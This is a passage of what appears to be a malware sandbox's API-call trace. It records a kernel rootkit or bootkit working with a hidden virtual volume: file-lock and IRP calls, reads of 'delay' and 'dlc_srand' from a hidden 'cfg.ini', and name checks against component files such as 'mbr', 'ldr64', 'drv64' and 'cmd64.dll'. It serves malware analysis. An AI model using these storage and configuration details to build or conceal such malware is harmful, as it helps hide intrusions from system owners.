FastMutex=0xfffffa80027d3898) [0123.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.008] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.008] IdePortDispatch () returned 0x103 [0123.008] KeWaitForMutexObject () returned 0x0 [0123.008] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9e60 [0123.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] KeLeaveCriticalRegion () [0123.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.009] KeEnterCriticalRegion () [0123.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] KeLeaveCriticalRegion () [0123.009] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.009] KeEnterCriticalRegion () [0123.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.009] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.009] IdePortDispatch () returned 0x103 [0123.009] KeWaitForMutexObject () returned 0x0 [0123.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] KeLeaveCriticalRegion () [0123.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.009] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.009] KeEnterCriticalRegion () [0123.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d92000 [0123.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.009] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.009] IdePortDispatch () returned 0x103 [0123.010] KeWaitForMutexObject () returned 0x0 [0123.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.010] IdePortDispatch () returned 0x103 [0123.010] KeWaitForMutexObject () returned 0x0 [0123.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.010] KeLeaveCriticalRegion () [0123.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.010] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.010] KeEnterCriticalRegion () [0123.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.010] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.010] KeLeaveCriticalRegion () [0123.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.011] KeEnterCriticalRegion () [0123.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] KeLeaveCriticalRegion () [0123.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.011] KeEnterCriticalRegion () [0123.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] ExFreePoolWithTag (P=0xfffffa8003be9e60, Tag=0x0) [0123.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] KeLeaveCriticalRegion () [0123.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.011] ReleaseMutex (hMutex=0xf0) returned 1 [0123.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.011] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.011] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.011] KeEnterCriticalRegion () [0123.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.011] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.011] IdePortDispatch () returned 0x103 [0123.011] KeWaitForMutexObject () returned 0x0 [0123.011] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.011] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.011] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.011] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.011] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.011] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.011] KeLeaveCriticalRegion () [0123.011] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.012] KeEnterCriticalRegion () [0123.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.012] KeLeaveCriticalRegion () [0123.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.012] KeEnterCriticalRegion () [0123.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.012] IdePortDispatch () returned 0x103 [0123.012] KeWaitForMutexObject () returned 0x0 [0123.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.012] KeLeaveCriticalRegion () [0123.012] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.012] KeEnterCriticalRegion () [0123.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d93000 [0123.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.012] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.012] IdePortDispatch () returned 0x103 [0123.012] KeWaitForMutexObject () returned 0x0 [0123.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.013] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.013] IdePortDispatch () returned 0x103 [0123.013] KeWaitForMutexObject () returned 0x0 [0123.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.013] KeLeaveCriticalRegion () [0123.013] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.013] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.013] KeEnterCriticalRegion () [0123.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.013] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.013] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.013] KeLeaveCriticalRegion () [0123.013] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.013] KeEnterCriticalRegion () [0123.013] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.013] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.013] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] KeLeaveCriticalRegion () [0123.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.014] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.014] KeEnterCriticalRegion () [0123.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] KeLeaveCriticalRegion () [0123.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.014] ReleaseMutex (hMutex=0xf0) returned 1 [0123.014] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.014] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.014] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.014] KeEnterCriticalRegion () [0123.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.014] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.014] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.014] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.014] IdePortDispatch () returned 0x103 [0123.014] KeWaitForMutexObject () returned 0x0 [0123.014] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.014] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.014] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.014] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.014] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.014] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbeaf0 [0123.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] KeLeaveCriticalRegion () [0123.014] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.014] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.014] KeEnterCriticalRegion () [0123.014] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.014] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.014] KeLeaveCriticalRegion () [0123.014] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.015] KeEnterCriticalRegion () [0123.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.015] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.015] IdePortDispatch () returned 0x103 [0123.015] KeWaitForMutexObject () returned 0x0 [0123.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.015] KeLeaveCriticalRegion () [0123.015] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.015] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.015] KeEnterCriticalRegion () [0123.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d94000 [0123.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.015] IdePortDispatch () returned 0x103 [0123.015] KeWaitForMutexObject () returned 0x0 [0123.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.015] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.015] IdePortDispatch () returned 0x103 [0123.016] KeWaitForMutexObject () returned 0x0 [0123.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] KeLeaveCriticalRegion () [0123.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.016] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.016] KeEnterCriticalRegion () [0123.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] KeLeaveCriticalRegion () [0123.016] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.016] KeEnterCriticalRegion () [0123.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.016] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] KeLeaveCriticalRegion () [0123.016] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.016] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.016] KeEnterCriticalRegion () [0123.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] ExFreePoolWithTag (P=0xfffffa8003bbeaf0, Tag=0x0) [0123.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.016] KeLeaveCriticalRegion () [0123.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.017] ReleaseMutex (hMutex=0xf0) returned 1 [0123.017] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.017] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.017] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.017] KeEnterCriticalRegion () [0123.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.017] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.017] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.017] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.017] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.017] IdePortDispatch () returned 0x103 [0123.017] KeWaitForMutexObject () returned 0x0 [0123.017] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.017] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.017] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.017] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.017] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.017] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.017] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.017] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.017] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.017] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.017] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.017] KeLeaveCriticalRegion () [0123.017] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.017] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.017] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.017] KeEnterCriticalRegion () [0123.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 